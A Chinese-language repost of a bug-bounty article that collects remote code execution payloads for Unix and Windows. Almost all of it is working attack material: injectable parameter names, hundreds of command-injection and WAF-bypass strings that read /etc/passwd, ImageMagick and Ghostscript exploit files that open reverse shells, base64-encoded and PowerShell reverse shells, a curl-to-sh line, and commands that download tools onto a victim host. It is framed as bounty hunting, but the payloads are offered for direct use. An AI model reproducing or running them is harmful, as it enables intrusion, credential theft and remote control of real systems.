干货 | 漏洞挖掘中RCE漏洞常用的Payload总结

HACK学习

发布于 2022-05-23 10:59:14

3K0

发布于 2022-05-23 10:59:14

文章被收录于专栏：HACK学习

关于远程代码执行的常用Payload（Unix 和 Windows）

大家好，我是 Ansar Uddin，我是来自孟加拉国的网络安全研究员。

这是我的第二篇 Bug 赏金文章。

今天的话题都是关于 Rce 的利用。

RCE：远程代码执行 (RCE) 使攻击者能够通过注入攻击执行恶意代码。代码注入攻击不同于命令注入攻击。攻击者的能力取决于服务器端解释器的限制。在某些情况下，攻击者可能能够从代码注入升级为命令注入。远程代码评估可能导致易受攻击的 Web 应用程序和 Web 服务器的全面妥协. 需要注意的是，几乎每种编程语言都有代码评估功能。

如何寻找 RCE：

Top 46 RCE 参数 :

exec={payload}
command={payload}
execute{payload}
ping={payload}
include={payload}
exclude={payload}
jump={payload}
code={payload}
reg={payload}
do={payload}
func={payload}
arg={payload}
option={payload}
load={payload}
process={payload}
step={payload}
read={payload}
function={payload}
req={payload}
feature={payload}
exe={payload}
module={payload}
payload={payload}
run={payload}
print={payload}
email={payload}
id={payload}
username={payload}
user={payload}
to={payload}
from={payload}
search={payload}
query={payload}
q={payload}
s={payload}
shopId={payload}
blogId={payload}
phone={payload}
mode={payload}
next={payload}
firstname={payload}
lastname={payload}
locale={payload}
cmd={payload}
sys={payload}
system={payload}

Linux RCE

Payload list:

id
,id
;id
;id;
'id'
"id"
''id
''id''
''id''&
*id
*id*
**id**
(id)
`id`
`id`&
`id` &
;id|
;|id|
|id
|id|
||id
||id|
||id;
|id;
&id
&id&
&&id
&&id&&
^id
<id
\id
);id
<id;
);id;
);id|
)|id
)|id;
\id;
\id|
\id\
(id
)id 
/id 
-id
:id
.id
" id
' id
| id
& id
, id
; id
& id &
&& id
|| id
' `id`
" `id`
, `id`
| `id`
& `id`
; `id`
' `id` #
" `id` #
, `id` #
| `id` #
; `id` #
;id/n
<id\n
\nid
\nid\n
a;id
a);id
a;id;
a);id|

转义所有危险字符时的RCE:

%7Cid
%7cid;pwd;uname -a
%26 id %26
%0aid%0a
%0a uname -a %0a
%27%0Awhoami%0A%27
%22%0Awhoami%0A%22
%5C%0Awhoami
%27%27%0Awhoami%0A%27%27
%2A%0Awhoami%0A
%2A%0Awhoami%0A%2A
%28%0Awhoami%0A%29
%60%0Aid%0A%60
%3B%0Awhoami%0A%3B
%2C%0Awhoami%0A%2C
%7C%0Awhoami
%7C%0Awhoami%0A%7C
%0a whoami %0a
%0Acat%20/etc/passwd
%7C%7Cid%0A
%2C%20id
%5Eid
%3Cid
%5Cid
%27%27id
%27%27id%27%27
%27%27id%27%27%26
%2Aid
%2Aid%2A
%2A%2Aid%2A%2A
%28id%29
%60id%60%26
%60id%60%20%26
%29%3Bid
%3Cid%3B
%29%3Bid%3B
%29%3Bid%7C
%29%7Cid
%29%7Cid%3B
%5Cid%3B
%5Cid%7C
%5Cid%5C
%22%20id
%27%20id
%7C%20id
%26%20id
%3B%20id
<id%0D
<id%0A
%0Did
%0Did%0D
%0Aid
%0Aid%0A
%2Cid
%3Bid
%3Bid%3B
%28id
%29id%20
%2Fid%20
%3Aid
%26%26%20id
%7C%7C%20id
%27id%27
%22id%22
%60id%60
%3Bid%7C
%3B%7Cid%7C
%7Cid%7C
%7C%7Cid
%7C%7Cid%7C
%7C%7Cid%3B
%7Cid%3B
%26id
%26id%26
%26%26id
%26%26id%26%26
%3Bid%2Fn
%3Cid%5Cn
%5Cnid
%5Cnid%5Cn
a%3Bid
a%29%3Bid
a%3Bid%3B
a%29%3Bid%7C
%22%2C%0Asystem%28%27ls%27%29%0A%3B%22
%27%0Aid%0A%27
%5C%0Awhoami%0A%5C
%26%0Awhoami%0A%26
%26%20id%20%26
%27%20%60id%60
%22%20%60id%60
%2C%20%60id%60
%7C%20%60id%60
%26%20%60id%60
%3B%20%60id%60
%27%20%60id%60%20%23
%22%20%60id%60%20%23
%2C%20%60id%60%20%23
%7C%20%60id%60%20%23
%3B%20%60id%60%20%23
%3Buname%20-a%3B
%26%26dir
%26%20uname%20-a%20%26id%7C%7Cwhoami%3B
id%7Cwhoami%3B
id%26%26whoami%3B
id%26whoami%3B
127.0.0.1%3Bls
127.0.0.1%3Bi%22d
%3Bunam%22e%24%7BIFS%7D-a
%3Bl%22s%24%7BIFS%7D-la
%27i%27d
%22i%22d
%5Cu%5Cn%5Ca%5Cm%5Ce%20%5C-%5Ca
cat%24u%20%2Fetc%24u%2Fpasswd%24u
w%24%7Bu%7Dh%24%7Bu%7Do%24%7Bu%7Da%24%7Bu%7Dm%24%7Bu%7Di
i%24%28u%29d
i%60u%60d
%7Buname%2C-a%7D
cat%24%7BIFS%7D%2Fetc%2Fpasswd
cat%24IFS%2Fetc%2Fpasswd
%0aid%0a
%0Aid
%0Aid%0A
%0a whoami %0a
cat%24u%2B%2Fetc%24u%2Fpasswd%24u
%22%3Bcat%2B%2Fetc%2Fpasswd%2B%23
%3B%2B%24u%2Bcat%2B%2Fetc%24u%2Fpasswd%24u
%3B%2B%24u%2Bcat%2B%2Fetc%24u%2Fpasswd%2B%5C%23
%2F%3F%3F%3F%2F%3F%3Ft%2B%2F%3F%3F%3F%2F%3F%3Fss%3F%3F
%2F%3Fin%2Fcat%2B%2Fet%3F%2Fpassw%3F
%3B%2Bcat%2B%2Fe%27tc%2Fpass%27wd
c%5C%5Ca%5C%5Ct%2B%2Fet%5C%5Cc%2Fpas%5C%5Cswd
cat%20%2Fetc%24u%2Fpasswd
%28sy.%28st%29.em%29%28whoami%29%3B
%3Bcat%2B%2Fetc%2Fpasswd
%3Bcat%2B%2Fetc%2Fpasswd%2B%23
%3Bcat%24u%2B%2Fetc%24u%2Fpasswd%24u
%3Bcat%2520%2Fetc%2Fpasswd
%3Bcat%20%2Fe%24%7Bhahaha%7Dtc%2F%24%7Bheywaf%7Dpas%24%7Bcatchthis%7Dswd
%3Bcat%24u%20%2Fetc%24u%2Fpasswd%24u
%3B%7Bcat%2C%2Fetc%2Fpasswd%7D
%3Bcat%3C%2Fetc%2Fpasswd
%3Bcat%24IFS%2Fetc%2Fpasswd
%3Becho%24%7BIFS%7D%22RCE%22%24%7BIFS%7D%26%26cat%24%7BIFS%7D%2Fetc%2Fpasswd
%3B%2Fusr%2Fbin%2Fid%3B
%7Ccat%2520%2Fetc%2Fpasswd
%7Ccat%20%2Fe%24%7Bhahaha%7Dtc%2F%24%7Bheywaf%7Dpas%24%7Bcatchthis%7Dswd
%7Ccat%24u%20%2Fetc%24u%2Fpasswd%24u
%7C%7Bcat%2C%2Fetc%2Fpasswd%7D
%7Ccat%3C%2Fetc%2Fpasswd
%7Ccat%24IFS%2Fetc%2Fpasswd
%7Cecho%24%7BIFS%7D%22RCE%22%24%7BIFS%7D%26%26cat%24%7BIFS%7D%2Fetc%2Fpasswd
%7C%2Fusr%2Fbin%2Fid%7C
%7C%7Ccat%2520%2Fetc%2Fpasswd
%7C%7Ccat%20%2Fe%24%7Bhahaha%7Dtc%2F%24%7Bheywaf%7Dpas%24%7Bcatchthis%7Dswd
%7C%7Ccat%24u%20%2Fetc%24u%2Fpasswd%24u
%7C%7C%7Bcat%2C%2Fetc%2Fpasswd%7D
%7C%7Ccat%3C%2Fetc%2Fpasswd
%7C%7Ccat%24IFS%2Fetc%2Fpasswd
%7C%7Cecho%24%7BIFS%7D%22RCE%22%24%7BIFS%7D%26%26cat%24%7BIFS%7D%2Fetc%2Fpasswd
%7C%7C%2Fusr%2Fbin%2Fid%7C%7C
%26%26cat%2520%2Fetc%2Fpasswd
%26%26cat%20%2Fe%24%7Bhahaha%7Dtc%2F%24%7Bheywaf%7Dpas%24%7Bcatchthis%7Dswd
%26%26cat%24u%20%2Fetc%24u%2Fpasswd%24u
%26%26%7Bcat%2C%2Fetc%2Fpasswd%7D
%26%26cat%3C%2Fetc%2Fpasswd
%26%26cat%24IFS%2Fetc%2Fpasswd
%26%26echo%24%7BIFS%7D%22RCE%22%24%7BIFS%7D%26%26cat%24%7BIFS%7D%2Fetc%2Fpasswd
%26%26%2Fusr%2Fbin%2Fid%26%26
%26cat%2520%2Fetc%2Fpasswd
%26cat%20%2Fe%24%7Bhahaha%7Dtc%2F%24%7Bheywaf%7Dpas%24%7Bcatchthis%7Dswd
%26cat%24u%20%2Fetc%24u%2Fpasswd%24u
%26%7Bcat%2C%2Fetc%2Fpasswd%7D
%26cat%3C%2Fetc%2Fpasswd
%26cat%24IFS%2Fetc%2Fpasswd
%26echo%24%7BIFS%7D%22RCE%22%24%7BIFS%7D%26%26cat%24%7BIFS%7D%2Fetc%2Fpasswd
%26%2Fusr%2Fbin%2Fid%26
%60cat%2520%2Fetc%2Fpasswd%60
%60cat%20%2Fe%24%7Bhahaha%7Dtc%2F%24%7Bheywaf%7Dpas%24%7Bcatchthis%7Dswd%60
%60cat%24u%20%2Fetc%24u%2Fpasswd%24u%60
%60%7Bcat%2C%2Fetc%2Fpasswd%7D%60
%60cat%3C%2Fetc%2Fpasswd%60
%60cat%24IFS%2Fetc%2Fpasswd%60
%60echo%24%7BIFS%7D%22RCE%22%24%7BIFS%7D%26%26cat%24%7BIFS%7D%2Fetc%2Fpasswd%60
%60%2Fusr%2Fbin%2Fid%60
%24%28cat%2520%2Fetc%2Fpasswd%29
%24%28cat%20%2Fe%24%7Bhahaha%7Dtc%2F%24%7Bheywaf%7Dpas%24%7Bcatchthis%7Dswd%29
%24%28cat%24u%20%2Fetc%24u%2Fpasswd%24u%29
%24%28%7Bcat%2C%2Fetc%2Fpasswd%7D%29
%24%28cat%3C%2Fetc%2Fpasswd%29
%24%28cat%24IFS%2Fetc%2Fpasswd%29
%24%28echo%24%7BIFS%7D%22RCE%22%24%7BIFS%7D%26%26cat%24%7BIFS%7D%2Fetc%2Fpasswd%29
%24%28%2Fusr%2Fbin%2Fid%29
cat%20%2Fetc%24u%2Fpasswd
%28sy.%28st%29.em%29%28whoami%29%3B
%3Bcat%2B%2Fetc%2Fpasswd
%3Bcat%2B%2Fetc%2Fpasswd%2B%23
%3Bcat%24u%2B%2Fetc%24u%2Fpasswd%24u
%253B%2524%257B%2540print%2528md5%2528%2522whoami0%2522%2529%2529%257D%253B
%24%7B%40system%28%22id%22%29%7D
%7Cuname%20-a%2B%7C%7Ca%2B%23%27%2B%7Cls%2B-la%7Ca%2B%23%7C%22%2B%7Cls%2B-la%7C%7Ca%2B%23
%22%2Csystem%28%27ls%27%29%3B%22
%24%7B%40phpinfo%28%29%7D
%3Bphpinfo%28%29%3B
%3Bphpinfo
%3Bsystem%28%27cat%2520%2Fetc%2Fpasswd%27%29
%3Bsystem%28%27id%27%29
%24%28id%29
%3B%24%7B%40print%28md5%28whoami%29%29%7D
%3B%24%7B%40print%28md5%28%22whoami%22%29%29%7D
%24%3Bid
%24%28%60cat%20%2Fetc%2Fpasswd%60%29
%7B%7B%20get_user_file%28%22%2Fetc%2Fpasswd%22%29%20%7D%7D
%3C%21--%23exec%20cmd%3D%22id%3B--%3E
system%28%27cat%20%2Fetc%2Fpasswd%27%29%3B
%3C%3Fphp%20system%28%22cat%20%2Fetc%2Fpasswd%22%29%3B%3F%3E
php%20-r%20%27var_dump%28exec%28%22id%22%29%29%3B%27
%26lt%3B%21--%23exec%2520cmd%3D%26quot%3Bid%3B--%26gt%3B
cat%24u%2B%2Fetc%24u%2Fpasswd%24u
%2Fbin%24u%2Fbash%24u%20%3Cip%3E%20%3Cport%3E
%22%3Bcat%2B%2Fetc%2Fpasswd%2B%23
%3B%2B%24u%2Bcat%2B%2Fetc%24u%2Fpasswd%24u
%3B%2B%24u%2Bcat%2B%2Fetc%24u%2Fpasswd%2B%5C%23
%2F%3F%3F%3F%2F%3F%3Ft%2B%2F%3F%3F%3F%2F%3F%3Fss%3F%3F
%2F%3Fin%2Fcat%2B%2Fet%3F%2Fpassw%3F
%3B%2Bcat%2B%2Fe%27tc%2Fpass%27wd
c%5C%5Ca%5C%5Ct%2B%2Fet%5C%5Cc%2Fpas%5C%5Cswd

RCE 过滤 and WAF Bypass:

'
whoami
'"
whoami
"`
whoami
`;
whoami
;,
whoami
,|
whoami|
whoami
|\
whoami''
whoami
''*
whoami*
whoami
*(
whoami
)\
whoami
\&
whoami
&",
system('ls')
;"|uname -a+||a+#'+|ls+-la|a+#|"+|ls+-la||a+#  Rce waf bypass
",system('ls');" double quote Rce filter bypass
${@system("id")} eval code bypass
${@phpinfo()}
;phpinfo();
;phpinfo
;system('cat%20/etc/passwd')
;system('id')
$(id)
;${@print(md5(whoami))}
;${@print(md5("whoami"))}
$;id
$(`cat /etc/passwd`)
{{ get_user_file("/etc/passwd") }}
<!--#exec cmd="id;-->
system('cat /etc/passwd');
<?php system("cat /etc/passwd");?>
php -r 'var_dump(exec("id"));'
&lt;!--#exec%20cmd=&quot;id;--&gt;/bin$u/bash$u <ip> <port>
cat$u+/etc$u/passwd$u
";cat+/etc/passwd+#
;+$u+cat+/etc$u/passwd$u
;+$u+cat+/etc$u/passwd+\#
/???/??t+/???/??ss??
/?in/cat+/et?/passw?
;+cat+/e'tc/pass'wd
c\\a\\t+/et\\c/pas\\swd
cat /etc$u/passwd
(sy.(st).em)(whoami);
;cat+/etc/passwd
;cat+/etc/passwd+#
;cat$u+/etc$u/passwd$u
;cat%20/etc/passwd
;cat /e${hahaha}tc/${heywaf}pas${catchthis}swd
;cat$u /etc$u/passwd$u
;{cat,/etc/passwd}
;cat</etc/passwd
;cat$IFS/etc/passwd
;echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
;/usr/bin/id;
|cat%20/etc/passwd
|cat /e${hahaha}tc/${heywaf}pas${catchthis}swd
|cat$u /etc$u/passwd$u
|{cat,/etc/passwd}
|cat</etc/passwd
|cat$IFS/etc/passwd
|echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
|/usr/bin/id|
||cat%20/etc/passwd
||cat /e${hahaha}tc/${heywaf}pas${catchthis}swd
||cat$u /etc$u/passwd$u
||{cat,/etc/passwd}
||cat</etc/passwd
||cat$IFS/etc/passwd
||echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
||/usr/bin/id||
&&cat%20/etc/passwd
&&cat /e${hahaha}tc/${heywaf}pas${catchthis}swd
&&cat$u /etc$u/passwd$u
&&{cat,/etc/passwd}
&&cat</etc/passwd
&&cat$IFS/etc/passwd
&&echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
&&/usr/bin/id&&
&cat%20/etc/passwd
&cat /e${hahaha}tc/${heywaf}pas${catchthis}swd
&cat$u /etc$u/passwd$u
&{cat,/etc/passwd}
&cat</etc/passwd
&cat$IFS/etc/passwd
&echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
&/usr/bin/id&
`cat%20/etc/passwd`
`cat /e${hahaha}tc/${heywaf}pas${catchthis}swd`
`cat$u /etc$u/passwd$u`
`{cat,/etc/passwd}`
`cat</etc/passwd`
`cat$IFS/etc/passwd`
`echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd`
`/usr/bin/id`
$(cat%20/etc/passwd)
$(cat /e${hahaha}tc/${heywaf}pas${catchthis}swd)
$(cat$u /etc$u/passwd$u)
$({cat,/etc/passwd})
$(cat</etc/passwd)
$(cat$IFS/etc/passwd)
$(echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd)
$(/usr/bin/id)id||whoami;
id|whoami;
id&&whoami;
id&whoami;127.0.0.1;ls
127.0.0.1;i"d
;unam"e${IFS}-a
;l"s${IFS}-la'i'd
"i"d
\u\n\a\m\e \-\a
cat$u /etc$u/passwd$u
w${u}h${u}o${u}a${u}m${u}i
i$(u)d
i`u`d{uname,-a}
cat${IFS}/etc/passwd
cat$IFS/etc/passwd

例子：

'i'd

"i"d

\u\n\a\m\e \-\a

w{u}h{u}o{u}a{u}m

IFS=];b=cat]/etc/passwd;$b
IFS=,;`cat<<<cat,/etc/passwd`
uname${IFS}-a
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
cat$IFS$9${PWD%%[a-z]*}e*c${PWD%%[a-z]*}p?ss??cat${IFS}${PATH%%u*}etc${PATH%%u*}passwd${PATH##*s????}${PATH%%u*}c??${IFS}${PATH%%u*}e??${PATH%%u*}??ss??${PATH##*s????}${PATH%%u*}ca${u}t${IFS}${PATH%%u*}et${u}c${PATH%%u*}pas${u}swd${PATH##*s????}${PATH%%u*}bas${u}h${IFS}${PHP_CFLAGS%%f*}c${IFS}l${u}s${PATH:0:1}bi?${PATH:0:1}ca?${IFS}${PATH:0:1}et?${PATH:0:1}??sswdtail${IFS}${APACHE_CONFDIR%${APACHE_CONFDIR#?}}et?${APACHE_CONFDIR%${APACHE_CONFDIR#?}}pas?wdc${a}at${IFS}${APACHE_CONFDIR%apache2}pas${s}swdca${jjj}t${IFS}${APACHE_RUN_DIR%???????????????}et${jjj}c${APACHE_RUN_DIR%???????????????}pas${jjj}swdc${u}at${IFS}${PHP_INI_DIR%%u*p}e${u}tc${PHP_INI_DIR%%u*p}p${u}asswdcat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
cat `xxd -r -p <<< 2f6574632f706173737764`
cat `xxd -r -ps <(echo 2f6574632f706173737764)`1;uname${IFS}-a
1;uname${IFS}-a;#
1;uname${IFS}-a;#${IFS}'
1;uname${IFS}-a;#${IFS}';/*$(id)`id`
/*$(id)`id``*/-id-'/*$(id)`id` #*/-id||'"||id||"/*`*/
/*$(id)`id``*/id'/*$(id)`id` #*/id||'"||id||"/*`*/

IFS=,;`cat<<<cat,/etc/passwd`

/*$(id)`id`

/*$(id)`id``*/id’/*$(id)`id` #*/id||’”||id||”/*`*/

反弹shell :

nc -l 1337
curl https://reverse-shell.sh/yourip:1337 | shReverse Shell Generator:
https://www.revshells.com

实战案例

我在一家Top级的公司找到了一个案例:

我检查了include=参数. 它容易受到 rce 的影响

'
whoami && id && uname -a && cat /etc/passwd
'

但是有一个 waf 阻止了我的请求

我用了下面这个payload进行绕过：

'
whoami && id && uname -a && cat /etc/passwd
'

我将payload转换为 url 编码再进行发包：

最终使用的绕过waf的payload如下:

%27%0a%77%68%6f%61%6d%69%20%26%26%20%69%64%20%26%26%20%75%6e%61%6d%65%20%2d%61%20%26%26%20%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%0a%27

‍

成功Rce!

Imagemagick rce:

nc -l -p 1337

另存为 test.gif 或 test.jpg

1.
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg?`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL3lvdXJpcC95b3VycG9ydCAwPiYx | base64 -d | bash`"||id " )'
pop graphic-context
2.
push graphic-context
encoding "UTF-8"
viewbox 0 0 1 1
affine 1 0 0 1 0 0
push graphic-context
image Over 0,0 1,1 '|/bin/sh -i > /dev/tcp/yourip/yourport 0<&1 2>&1'
pop graphic-context
pop graphic-context
3.
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%ncat yourip yourport -e /bin/sh) currentdevice putdeviceprops
4.
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%bash -c 'bash -i >& /dev/tcp/yourip/yourport 0>&1') currentdevice putdeviceprops

保存poc.xml:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px" version="1.1"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink=
"http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg&quot;|/bin/nc.traditional yourip yourport -e /bin/bash&quot;"
x="0" y="0" height="640px" width="480px"/>
</svg>

GhostScript Rce:

nc -nvlp 1337

保存 test.gif or test.jpg

1.
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%bash -c 'bash -i >& /dev/tcp/yourip/yourport 0>&1') currentdevice putdeviceprops
2.
%!PS
0 1 300367 {} for
{save restore} stopped {} if
(%pipe%bash -c 'bash -i >& /dev/tcp/yourip/yourport 0>&1') (w) file
3.
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%bash -c 'bash -i >& /dev/tcp/yourip/yourport 0>&1') currentdevice putdeviceprops
4.
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%curl http://inputburpcollaborator) currentdevice putdeviceprops

保存 poc.pdf

%!PS
currentdevice null true mark /OutputICCProfile (%pipe%curl http://inputburpcollaborator)
.putdeviceparams
quit

下面这个github项目最适合在上传功能上查找 Rce 错误

https://github.com/modzero/mod0BurpUploadScanner.git

PHPGGC：PHP 通用小工具链：

该工具允许您生成payload，而无需执行查找小工具和组合它们的繁琐步骤。它可以看作是frohoff 的 ysoserial的等价物，但对于 PHP。目前，该工具支持的小工具链包括：CodeIgniter4、Doctrine、Drupal7、Guzzle、Laravel、Magento、Monolog、Phalcon、Podio、Slim、SwiftMailer、Symfony、Wordpress、Yii 和 ZendFramework

这个最适合查找 rce漏洞（框架/库）：

https://github.com/ambionics/phpggc

Windows RCE

Payload list:

".system('dir')."
' dir
' || dir
' & dir
' && dir
'; dir
" dir
" || dir
" | dir
" & dir
" && dir
"; dir
dir
$(`dir`)
&&dir
| dir C:\
; dir C:\
& dir C:\
&& dir C:\
dir C:\
| dir
; dir
& dir
&& dir| ipconfig /all
; ipconfig /all
& ipconfig /all
&& ipconfig /all
ipconfig /all|| phpinfo()
| phpinfo()
 {${phpinfo()}}
;phpinfo()
;phpinfo();//
';phpinfo();//
{${phpinfo()}}
& phpinfo()
&& phpinfo()
phpinfo()
phpinfo();

转义所有危险字符时的RCE payload:

%27%20dir
%27%20%7C%7C%20dir
%27%20%26%20dir
%27%20%26%26%20dir
%27%3B%20dir
%22%20dir
%22%20%7C%7C%20dir
%22%20%7C%20dir
%22%20%26%20dir
%22%20%26%26%20dir
%22%3B%20dir
%22.system%28%27dir%27%29.%22
%24%28%60dir%60%29
%26%26dir
%7C%20dir%20C%3A%5C
%3B%20dir%20C%3A%5C
%26%20dir%20C%3A%5C
%26%26%20dir%20C%3A%5C
dir%20C%3A%5C
%7C%20dir
%3B%20dir
%26%20dir
%26%26%20dir
+dir+c:\+|
+|+dir+c:\+|
+|+dir+c:%2f+|
dir+c:\
||+dir|c:\
+|+Dir+c:\
+|+Dir+c:%255c
+|+Dir+c:%2f
$+|+Dir+c:\
$+|+Dir+c:%255c
$+|+Dir+c:%2f
%26%26+|+dir c:\
%0a+dir+c:\
%26%26+|+dir c:%2f
$%26%26dir+c:%2f
%0a+dir+c:%2f
%0a+dir+c:%255c
$%26%26dir c:\
%26%26+|+dir c:%255c
$%26%26dir+c:%255c
%20{${phpinfo()}}

反弹shell:

nc -nvlp 443

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('your ip',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =
$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.T
ext.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII
).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$c
lient.Close()"
or
powershell -NoP -NonI -W Hidden -Exec Bypass "& {$ps=$false;$hostip='your ip';$port=443;$client = New-Object System.Net.Sockets.TCPClient($hostip,$port);$stream = $client.GetStream();[byte[]]$bytes = 0..50000|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$cmd=(get-childitem Env:ComSpec).value;$inArray=$data.split();$item=$inArray[0];if(($item -eq '$ps') -and ($ps -eq $false)){$ps=$true}if($item -like '?:'){$item='d:'}$myArray=@('cd','exit','d:','pwd','ls','ps','rm','cp','mv','cat');$do=$false;foreach ($i in $myArray){if($item -eq $i){$do=$true}}if($do -or $ps){$sendback=( iex $data 2>&1 |Out-String)}else{$data2='/c '+$data;$sendback = ( &$cmd $data2 2>&1 | Out-String)};if($ps){$prompt='PS ' + (pwd).Path}else{$prompt=(pwd).Path}$sendback2 = $data + $sendback + $prompt + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()}"

反弹shell生成器：

https://www.revshells.com

文件下载:

powershell -c "(new-object System.Net.WebClient).DownloadFile('https://eternallybored.org/misc/wget/1.21.1/64/wget.exe','C:\Users\admin\Desktop\wget.exe')"
powershell iwr -uri http://10.10.16.97:8000/chisel.exe -outfile ch.exe # also works in PS ConstrainLanguageMode

Rce（Unix 和 windows）的最佳 burpsuite 扩展:

https://github.com/ewilded/shelling

最佳的命令注入利用工具:

https://github.com/commixproject/commix

Happy Hacking!

由HACK学习翻译编辑整理，如需转载请注明来源HACK学习

文章来源：

https://ansar0047.medium.com/remote-code-execution-unix-and-windows-4ed3367158b3

本文参与腾讯云自媒体同步曝光计划，分享自微信公众号。

原始发表：2022-05-16，如有侵权请联系 cloudcommunity@tencent.com 删除

https